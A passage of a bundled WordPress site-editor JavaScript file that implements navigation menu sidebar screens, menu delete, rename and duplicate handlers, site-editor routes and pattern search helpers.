24527 `/${attributes.type}/${attributes.id}?canvas=edit`,
24528 {
24529 state: { backPath: path }
24530 }
24531 );
24532 }
24533 if (name === "core/page-list-item" && attributes.id && history) {
24534 history.navigate(`/page/${attributes.id}?canvas=edit`, {
24535 state: { backPath: path }
24536 });
24537 }
24538 },
24539 [path, history]
24540 );
24541 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24542 external_wp_components_namespaceObject.DropdownMenu,
24543 {
24544 icon: more_vertical_default,
24545 label: (0,external_wp_i18n_namespaceObject.__)("Options"),
24546 className: "block-editor-block-settings-menu",
24547 popoverProps: leaf_more_menu_POPOVER_PROPS,
24548 noIcons: true,
24549 ...props,
24550 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24551 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { children: [
24552 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24553 external_wp_components_namespaceObject.MenuItem,
24554 {
24555 icon: chevron_up_default,
24556 onClick: () => {
24557 moveBlocksUp([clientId], rootClientId);
24558 onClose();
24559 },
24560 children: (0,external_wp_i18n_namespaceObject.__)("Move up")
24561 }
24562 ),
24563 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24564 external_wp_components_namespaceObject.MenuItem,
24565 {
24566 icon: chevron_down_default,
24567 onClick: () => {
24568 moveBlocksDown([clientId], rootClientId);
24569 onClose();
24570 },
24571 children: (0,external_wp_i18n_namespaceObject.__)("Move down")
24572 }
24573 ),
24574 block.attributes?.type === "page" && block.attributes?.id && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24575 external_wp_components_namespaceObject.MenuItem,
24576 {
24577 onClick: () => {
24578 onGoToPage(block);
24579 onClose();
24580 },
24581 children: goToLabel
24582 }
24583 )
24584 ] }),
24585 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24586 external_wp_components_namespaceObject.MenuItem,
24587 {
24588 onClick: () => {
24589 removeBlocks([clientId], false);
24590 onClose();
24591 },
24592 children: removeLabel
24593 }
24594 ) })
24595 ] })
24596 }
24597 );
24598}
24599
24600
24601;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/navigation-menu-content.js
24602
24603
24604
24605
24606
24607
24608
24609
24610const { PrivateListView } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
24611const MAX_PAGE_COUNT = 100;
24612const PAGES_QUERY = [
24613 "postType",
24614 "page",
24615 {
24616 per_page: MAX_PAGE_COUNT,
24617 _fields: ["id", "link", "menu_order", "parent", "title", "type"],
24618 // TODO: When https://core.trac.wordpress.org/ticket/39037 REST API support for multiple orderby
24619 // values is resolved, update 'orderby' to [ 'menu_order', 'post_title' ] to provide a consistent
24620 // sort.
24621 orderby: "menu_order",
24622 order: "asc"
24623 }
24624];
24625function NavigationMenuContent({ rootClientId }) {
24626 const { listViewRootClientId, isLoading } = (0,external_wp_data_.useSelect)(
24627 (select) => {
24628 const {
24629 areInnerBlocksControlled,
24630 getBlockName,
24631 getBlockCount,
24632 getBlockOrder
24633 } = select(external_wp_blockEditor_namespaceObject.store);
24634 const { isResolving } = select(external_wp_coreData_namespaceObject.store);
24635 const blockClientIds = getBlockOrder(rootClientId);
24636 const hasOnlyPageListBlock = blockClientIds.length === 1 && getBlockName(blockClientIds[0]) === "core/page-list";
24637 const pageListHasBlocks = hasOnlyPageListBlock && getBlockCount(blockClientIds[0]) > 0;
24638 const isLoadingPages = isResolving(
24639 "getEntityRecords",
24640 PAGES_QUERY
24641 );
24642 return {
24643 listViewRootClientId: pageListHasBlocks ? blockClientIds[0] : rootClientId,
24644 // This is a small hack to wait for the navigation block
24645 // to actually load its inner blocks.
24646 isLoading: !areInnerBlocksControlled(rootClientId) || isLoadingPages
24647 };
24648 },
24649 [rootClientId]
24650 );
24651 const { replaceBlock, __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_.useDispatch)(external_wp_blockEditor_namespaceObject.store);
24652 const offCanvasOnselect = (0,external_wp_element_.useCallback)(
24653 (block) => {
24654 if (block.name === "core/navigation-link" && !block.attributes.url) {
24655 __unstableMarkNextChangeAsNotPersistent();
24656 replaceBlock(
24657 block.clientId,
24658 (0,external_wp_blocks_namespaceObject.createBlock)("core/navigation-link", block.attributes)
24659 );
24660 }
24661 },
24662 [__unstableMarkNextChangeAsNotPersistent, replaceBlock]
24663 );
24664 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24665 !isLoading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24666 PrivateListView,
24667 {
24668 rootClientId: listViewRootClientId,
24669 onSelect: offCanvasOnselect,
24670 blockSettingsMenu: LeafMoreMenu,
24671 showAppender: false,
24672 isExpanded: true
24673 }
24674 ),
24675 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, {}) })
24676 ] });
24677}
24678
24679
24680;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/navigation-menu-editor.js
24681
24682
24683
24684
24685
24686
24687
24688
24689const navigation_menu_editor_noop = () => {
24690};
24691function NavigationMenuEditor({ navigationMenuId }) {
24692 const { storedSettings } = (0,external_wp_data_.useSelect)((select) => {
24693 const { getSettings } = unlock(select(store));
24694 return {
24695 storedSettings: getSettings()
24696 };
24697 }, []);
24698 const blocks = (0,external_wp_element_.useMemo)(() => {
24699 if (!navigationMenuId) {
24700 return [];
24701 }
24702 return [(0,external_wp_blocks_namespaceObject.createBlock)("core/navigation", { ref: navigationMenuId })];
24703 }, [navigationMenuId]);
24704 if (!navigationMenuId || !blocks?.length) {
24705 return null;
24706 }
24707 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24708 external_wp_blockEditor_namespaceObject.BlockEditorProvider,
24709 {
24710 settings: storedSettings,
24711 value: blocks,
24712 onChange: navigation_menu_editor_noop,
24713 onInput: navigation_menu_editor_noop,
24714 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-sidebar-navigation-screen-navigation-menus__content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationMenuContent, { rootClientId: blocks[0].clientId }) })
24715 }
24716 );
24717}
24718
24719
24720;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/build-navigation-label.js
24721
24722
24723function buildNavigationLabel(title, id, status) {
24724 if (!title?.rendered) {
24725 return (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("(no title %s)"), id);
24726 }
24727 if (status === "publish") {
24728 return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title?.rendered);
24729 }
24730 return (0,external_wp_i18n_namespaceObject.sprintf)(
24731 // translators: 1: title of the menu. 2: status of the menu (draft, pending, etc.).
24732 (0,external_wp_i18n_namespaceObject._x)("%1$s (%2$s)", "menu label"),
24733 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title?.rendered),
24734 status
24735 );
24736}
24737
24738
24739;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/single-navigation-menu.js
24740
24741
24742
24743
24744
24745
24746
24747function SingleNavigationMenu({
24748 navigationMenu,
24749 backPath,
24750 handleDelete,
24751 handleDuplicate,
24752 handleSave
24753}) {
24754 const menuTitle = navigationMenu?.title?.rendered;
24755 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24756 SidebarNavigationScreenWrapper,
24757 {
24758 actions: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24759 ScreenNavigationMoreMenu,
24760 {
24761 menuId: navigationMenu?.id,
24762 menuTitle: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(menuTitle),
24763 onDelete: handleDelete,
24764 onSave: handleSave,
24765 onDuplicate: handleDuplicate
24766 }
24767 ) }),
24768 backPath,
24769 title: buildNavigationLabel(
24770 navigationMenu?.title,
24771 navigationMenu?.id,
24772 navigationMenu?.status
24773 ),
24774 description: (0,external_wp_i18n_namespaceObject.__)(
24775 "Navigation Menus are a curated collection of blocks that allow visitors to get around your site."
24776 ),
24777 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationMenuEditor, { navigationMenuId: navigationMenu?.id })
24778 }
24779 );
24780}
24781
24782
24783;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/index.js
24784
24785
24786
24787
24788
24789
24790
24791
24792
24793
24794
24795
24796
24797const { useLocation: sidebar_navigation_screen_navigation_menu_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
24798const postType = `wp_navigation`;
24799function SidebarNavigationScreenNavigationMenu({ backPath }) {
24800 const {
24801 params: { postId }
24802 } = sidebar_navigation_screen_navigation_menu_useLocation();
24803 const { record: navigationMenu, isResolving } = (0,external_wp_coreData_namespaceObject.useEntityRecord)(
24804 "postType",
24805 postType,
24806 postId
24807 );
24808 const { isSaving, isDeleting } = (0,external_wp_data_.useSelect)(
24809 (select) => {
24810 const { isSavingEntityRecord, isDeletingEntityRecord } = select(external_wp_coreData_namespaceObject.store);
24811 return {
24812 isSaving: isSavingEntityRecord("postType", postType, postId),
24813 isDeleting: isDeletingEntityRecord(
24814 "postType",
24815 postType,
24816 postId
24817 )
24818 };
24819 },
24820 [postId]
24821 );
24822 const isLoading = isResolving || isSaving || isDeleting;
24823 const menuTitle = navigationMenu?.title?.rendered || navigationMenu?.slug;
24824 const { handleSave, handleDelete, handleDuplicate } = useNavigationMenuHandlers();
24825 const _handleDelete = () => handleDelete(navigationMenu);
24826 const _handleSave = (edits) => handleSave(navigationMenu, edits);
24827 const _handleDuplicate = () => handleDuplicate(navigationMenu);
24828 if (isLoading) {
24829 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24830 SidebarNavigationScreenWrapper,
24831 {
24832 description: (0,external_wp_i18n_namespaceObject.__)(
24833 "Navigation Menus are a curated collection of blocks that allow visitors to get around your site."
24834 ),
24835 backPath,
24836 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, { className: "edit-site-sidebar-navigation-screen-navigation-menus__loading" })
24837 }
24838 );
24839 }
24840 if (!isLoading && !navigationMenu) {
24841 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24842 SidebarNavigationScreenWrapper,
24843 {
24844 description: (0,external_wp_i18n_namespaceObject.__)("Navigation Menu missing."),
24845 backPath
24846 }
24847 );
24848 }
24849 if (!navigationMenu?.content?.raw) {
24850 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24851 SidebarNavigationScreenWrapper,
24852 {
24853 actions: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24854 ScreenNavigationMoreMenu,
24855 {
24856 menuId: navigationMenu?.id,
24857 menuTitle: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(menuTitle),
24858 onDelete: _handleDelete,
24859 onSave: _handleSave,
24860 onDuplicate: _handleDuplicate
24861 }
24862 ),
24863 backPath,
24864 title: buildNavigationLabel(
24865 navigationMenu?.title,
24866 navigationMenu?.id,
24867 navigationMenu?.status
24868 ),
24869 description: (0,external_wp_i18n_namespaceObject.__)("This Navigation Menu is empty.")
24870 }
24871 );
24872 }
24873 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24874 SingleNavigationMenu,
24875 {
24876 navigationMenu,
24877 backPath,
24878 handleDelete: _handleDelete,
24879 handleSave: _handleSave,
24880 handleDuplicate: _handleDuplicate
24881 }
24882 );
24883}
24884
24885
24886;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/use-navigation-menu-handlers.js
24887
24888
24889
24890
24891
24892
24893
24894
24895const { useHistory: use_navigation_menu_handlers_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
24896function useDeleteNavigationMenu() {
24897 const { deleteEntityRecord } = (0,external_wp_data_.useDispatch)(external_wp_coreData_namespaceObject.store);
24898 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_.useDispatch)(external_wp_notices_namespaceObject.store);
24899 const history = use_navigation_menu_handlers_useHistory();
24900 const handleDelete = async (navigationMenu) => {
24901 const postId = navigationMenu?.id;
24902 try {
24903 await deleteEntityRecord(
24904 "postType",
24905 postType,
24906 postId,
24907 {
24908 force: true
24909 },
24910 {
24911 throwOnError: true
24912 }
24913 );
24914 createSuccessNotice(
24915 (0,external_wp_i18n_namespaceObject.__)("Navigation Menu successfully deleted."),
24916 {
24917 type: "snackbar"
24918 }
24919 );
24920 history.navigate("/navigation");
24921 } catch (error) {
24922 createErrorNotice(
24923 (0,external_wp_i18n_namespaceObject.sprintf)(
24924 /* translators: %s: error message describing why the navigation menu could not be deleted. */
24925 (0,external_wp_i18n_namespaceObject.__)(`Unable to delete Navigation Menu (%s).`),
24926 error?.message
24927 ),
24928 {
24929 type: "snackbar"
24930 }
24931 );
24932 }
24933 };
24934 return handleDelete;
24935}
24936function useSaveNavigationMenu() {
24937 const { getEditedEntityRecord } = (0,external_wp_data_.useSelect)((select) => {
24938 const { getEditedEntityRecord: getEditedEntityRecordSelector } = select(external_wp_coreData_namespaceObject.store);
24939 return {
24940 getEditedEntityRecord: getEditedEntityRecordSelector
24941 };
24942 }, []);
24943 const {
24944 editEntityRecord,
24945 __experimentalSaveSpecifiedEntityEdits: saveSpecifiedEntityEdits
24946 } = (0,external_wp_data_.useDispatch)(external_wp_coreData_namespaceObject.store);
24947 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_.useDispatch)(external_wp_notices_namespaceObject.store);
24948 const handleSave = async (navigationMenu, edits) => {
24949 if (!edits) {
24950 return;
24951 }
24952 const postId = navigationMenu?.id;
24953 const originalRecord = getEditedEntityRecord(
24954 "postType",
24955 NAVIGATION_POST_TYPE,
24956 postId
24957 );
24958 editEntityRecord("postType", postType, postId, edits);
24959 const recordPropertiesToSave = Object.keys(edits);
24960 try {
24961 await saveSpecifiedEntityEdits(
24962 "postType",
24963 postType,
24964 postId,
24965 recordPropertiesToSave,
24966 {
24967 throwOnError: true
24968 }
24969 );
24970 createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Renamed Navigation Menu"), {
24971 type: "snackbar"
24972 });
24973 } catch (error) {
24974 editEntityRecord("postType", postType, postId, originalRecord);
24975 createErrorNotice(
24976 (0,external_wp_i18n_namespaceObject.sprintf)(
24977 /* translators: %s: error message describing why the navigation menu could not be renamed. */
24978 (0,external_wp_i18n_namespaceObject.__)(`Unable to rename Navigation Menu (%s).`),
24979 error?.message
24980 ),
24981 {
24982 type: "snackbar"
24983 }
24984 );
24985 }
24986 };
24987 return handleSave;
24988}
24989function useDuplicateNavigationMenu() {
24990 const history = use_navigation_menu_handlers_useHistory();
24991 const { saveEntityRecord } = (0,external_wp_data_.useDispatch)(external_wp_coreData_namespaceObject.store);
24992 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_.useDispatch)(external_wp_notices_namespaceObject.store);
24993 const handleDuplicate = async (navigationMenu) => {
24994 const menuTitle = navigationMenu?.title?.rendered || navigationMenu?.slug;
24995 try {
24996 const savedRecord = await saveEntityRecord(
24997 "postType",
24998 postType,
24999 {
25000 title: (0,external_wp_i18n_namespaceObject.sprintf)(
25001 /* translators: %s: Navigation menu title */
25002 (0,external_wp_i18n_namespaceObject._x)("%s (Copy)", "navigation menu"),
25003 menuTitle
25004 ),
25005 content: navigationMenu?.content?.raw,
25006 status: "publish"
25007 },
25008 {
25009 throwOnError: true
25010 }
25011 );
25012 if (savedRecord) {
25013 createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Duplicated Navigation Menu"), {
25014 type: "snackbar"
25015 });
25016 history.navigate(`/wp_navigation/${savedRecord.id}`);
25017 }
25018 } catch (error) {
25019 createErrorNotice(
25020 (0,external_wp_i18n_namespaceObject.sprintf)(
25021 /* translators: %s: error message describing why the navigation menu could not be deleted. */
25022 (0,external_wp_i18n_namespaceObject.__)(`Unable to duplicate Navigation Menu (%s).`),
25023 error?.message
25024 ),
25025 {
25026 type: "snackbar"
25027 }
25028 );
25029 }
25030 };
25031 return handleDuplicate;
25032}
25033function useNavigationMenuHandlers() {
25034 return {
25035 handleDelete: useDeleteNavigationMenu(),
25036 handleSave: useSaveNavigationMenu(),
25037 handleDuplicate: useDuplicateNavigationMenu()
25038 };
25039}
25040
25041
25042;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/index.js
25043
25044
25045
25046
25047
25048
25049
25050
25051
25052
25053
25054
25055
25056
25057function buildMenuLabel(title, id, status) {
25058 if (!title) {
25059 return (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("(no title %s)"), id);
25060 }
25061 if (status === "publish") {
25062 return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title);
25063 }
25064 return (0,external_wp_i18n_namespaceObject.sprintf)(
25065 // translators: 1: title of the menu. 2: status of the menu (draft, pending, etc.).
25066 (0,external_wp_i18n_namespaceObject._x)("%1$s (%2$s)", "menu label"),
25067 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title),
25068 status
25069 );
25070}
25071function SidebarNavigationScreenNavigationMenus({ backPath }) {
25072 const {
25073 records: navigationMenus,
25074 isResolving: isResolvingNavigationMenus,
25075 hasResolved: hasResolvedNavigationMenus
25076 } = (0,external_wp_coreData_namespaceObject.useEntityRecords)(
25077 "postType",
25078 NAVIGATION_POST_TYPE,
25079 PRELOADED_NAVIGATION_MENUS_QUERY
25080 );
25081 const isLoading = isResolvingNavigationMenus && !hasResolvedNavigationMenus;
25082 const { getNavigationFallbackId } = unlock((0,external_wp_data_.useSelect)(external_wp_coreData_namespaceObject.store));
25083 const isCreatingNavigationFallback = (0,external_wp_data_.useSelect)(
25084 (select) => select(external_wp_coreData_namespaceObject.store).isResolving("getNavigationFallbackId"),
25085 []
25086 );
25087 const firstNavigationMenu = navigationMenus?.[0];
25088 if (!firstNavigationMenu && !isResolvingNavigationMenus && hasResolvedNavigationMenus && // Ensure a fallback navigation is created only once
25089 !isCreatingNavigationFallback) {
25090 getNavigationFallbackId();
25091 }
25092 const { handleSave, handleDelete, handleDuplicate } = useNavigationMenuHandlers();
25093 const hasNavigationMenus = !!navigationMenus?.length;
25094 if (isLoading) {
25095 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, { backPath, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, { className: "edit-site-sidebar-navigation-screen-navigation-menus__loading" }) });
25096 }
25097 if (!isLoading && !hasNavigationMenus) {
25098 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25099 SidebarNavigationScreenWrapper,
25100 {
25101 description: (0,external_wp_i18n_namespaceObject.__)("No Navigation Menus found."),
25102 backPath
25103 }
25104 );
25105 }
25106 if (navigationMenus?.length === 1) {
25107 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25108 SingleNavigationMenu,
25109 {
25110 navigationMenu: firstNavigationMenu,
25111 backPath,
25112 handleDelete: () => handleDelete(firstNavigationMenu),
25113 handleDuplicate: () => handleDuplicate(firstNavigationMenu),
25114 handleSave: (edits) => handleSave(firstNavigationMenu, edits)
25115 }
25116 );
25117 }
25118 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, { backPath, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { className: "edit-site-sidebar-navigation-screen-navigation-menus", children: navigationMenus?.map(({ id, title, status }, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25119 NavMenuItem,
25120 {
25121 postId: id,
25122 withChevron: true,
25123 icon: navigation_default,
25124 children: buildMenuLabel(title?.rendered, index + 1, status)
25125 },
25126 id
25127 )) }) });
25128}
25129function SidebarNavigationScreenWrapper({
25130 children,
25131 actions,
25132 title,
25133 description,
25134 backPath
25135}) {
25136 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25137 SidebarNavigationScreen,
25138 {
25139 title: title || (0,external_wp_i18n_namespaceObject.__)("Navigation"),
25140 actions,
25141 description: description || (0,external_wp_i18n_namespaceObject.__)("Manage your Navigation Menus."),
25142 backPath,
25143 content: children
25144 }
25145 );
25146}
25147const NavMenuItem = ({ postId, ...props }) => {
25148 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25149 SidebarNavigationItem,
25150 {
25151 to: `/wp_navigation/${postId}`,
25152 ...props
25153 }
25154 );
25155};
25156
25157
25158;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/navigation.js
25159
25160
25161
25162
25163
25164
25165const { useLocation: navigation_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
25166function MobileNavigationView() {
25167 const { query = {} } = navigation_useLocation();
25168 const { canvas = "view" } = query;
25169 return canvas === "edit" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenNavigationMenus, { backPath: "/" });
25170}
25171const navigationRoute = {
25172 name: "navigation",
25173 path: "/navigation",
25174 areas: {
25175 sidebar({ siteData }) {
25176 const isBlockTheme = siteData.currentTheme?.is_block_theme;
25177 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenNavigationMenus, { backPath: "/" }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
25178 },
25179 preview({ siteData }) {
25180 const isBlockTheme = siteData.currentTheme?.is_block_theme;
25181 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : void 0;
25182 },
25183 mobile({ siteData }) {
25184 const isBlockTheme = siteData.currentTheme?.is_block_theme;
25185 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MobileNavigationView, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
25186 }
25187 }
25188};
25189
25190
25191;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/navigation-item.js
25192
25193
25194
25195
25196
25197
25198const { useLocation: navigation_item_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
25199function MobileNavigationItemView() {
25200 const { query = {} } = navigation_item_useLocation();
25201 const { canvas = "view" } = query;
25202 return canvas === "edit" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenNavigationMenu, { backPath: "/navigation" });
25203}
25204const navigationItemRoute = {
25205 name: "navigation-item",
25206 path: "/wp_navigation/:postId",
25207 areas: {
25208 sidebar({ siteData }) {
25209 const isBlockTheme = siteData.currentTheme?.is_block_theme;
25210 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenNavigationMenu, { backPath: "/navigation" }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
25211 },
25212 preview({ siteData }) {
25213 const isBlockTheme = siteData.currentTheme?.is_block_theme;
25214 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
25215 },
25216 mobile({ siteData }) {
25217 const isBlockTheme = siteData.currentTheme?.is_block_theme;
25218 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MobileNavigationItemView, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
25219 }
25220 }
25221};
25222
25223
25224;// ./node_modules/@wordpress/icons/build-module/library/file.js
25225
25226
25227var file_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25228 external_wp_primitives_namespaceObject.Path,
25229 {
25230 fillRule: "evenodd",
25231 clipRule: "evenodd",
25232 d: "M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z"
25233 }
25234) });
25235
25236
25237;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/category-item.js
25238
25239
25240function CategoryItem({
25241 count,
25242 icon,
25243 id,
25244 isActive,
25245 label,
25246 type
25247}) {
25248 if (!count) {
25249 return;
25250 }
25251 const queryArgs = [`postType=${type}`];
25252 if (id) {
25253 queryArgs.push(`categoryId=${id}`);
25254 }
25255 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25256 SidebarNavigationItem,
25257 {
25258 icon,
25259 suffix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: count }),
25260 "aria-current": isActive ? "true" : void 0,
25261 to: `/pattern?${queryArgs.join("&")}`,
25262 children: label
25263 }
25264 );
25265}
25266
25267
25268;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-default-pattern-categories.js
25269
25270
25271
25272
25273function useDefaultPatternCategories() {
25274 const blockPatternCategories = (0,external_wp_data_.useSelect)((select) => {
25275 const { getSettings } = unlock(select(store));
25276 const settings = getSettings();
25277 return settings.__experimentalAdditionalBlockPatternCategories ?? settings.__experimentalBlockPatternCategories;
25278 });
25279 const restBlockPatternCategories = (0,external_wp_data_.useSelect)(
25280 (select) => select(external_wp_coreData_namespaceObject.store).getBlockPatternCategories()
25281 );
25282 return [
25283 ...blockPatternCategories || [],
25284 ...restBlockPatternCategories || []
25285 ];
25286}
25287
25288
25289;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/utils.js
25290const filterOutDuplicatesByName = (currentItem, index, items) => index === items.findIndex((item) => currentItem.name === item.name);
25291
25292
25293;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-theme-patterns.js
25294
25295
25296
25297
25298
25299
25300
25301function useThemePatterns() {
25302 const blockPatterns = (0,external_wp_data_.useSelect)((select) => {
25303 const { getSettings } = unlock(select(store));
25304 return getSettings().__experimentalAdditionalBlockPatterns ?? getSettings().__experimentalBlockPatterns;
25305 });
25306 const restBlockPatterns = (0,external_wp_data_.useSelect)(
25307 (select) => select(external_wp_coreData_namespaceObject.store).getBlockPatterns()
25308 );
25309 const patterns = (0,external_wp_element_.useMemo)(
25310 () => [...blockPatterns || [], ...restBlockPatterns || []].filter(
25311 (pattern) => !EXCLUDED_PATTERN_SOURCES.includes(pattern.source)
25312 ).filter(filterOutDuplicatesByName).filter((pattern) => pattern.inserter !== false),
25313 [blockPatterns, restBlockPatterns]
25314 );
25315 return patterns;
25316}
25317
25318
25319;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/search-items.js
25320
25321
25322const { extractWords, getNormalizedSearchTerms, normalizeString } = unlock(
25323 external_wp_blockEditor_namespaceObject.privateApis
25324);
25325
25326const defaultGetName = (item) => {
25327 if (item.type === PATTERN_TYPES.user) {
25328 return item.slug;
25329 }
25330 if (item.type === TEMPLATE_PART_POST_TYPE) {
25331 return "";
25332 }
25333 return item.name || "";
25334};
25335const defaultGetTitle = (item) => {
25336 if (typeof item.title === "string") {
25337 return item.title;
25338 }
25339 if (item.title && item.title.rendered) {
25340 return item.title.rendered;
25341 }
25342 if (item.title && item.title.raw) {
25343 return item.title.raw;
25344 }
25345 return "";
25346};
25347const defaultGetDescription = (item) => {
25348 if (item.type === PATTERN_TYPES.user) {
25349 return item.excerpt.raw;
25350 }
25351 return item.description || "";
25352};
25353const defaultGetKeywords = (item) => item.keywords || [];
25354const defaultHasCategory = () => false;
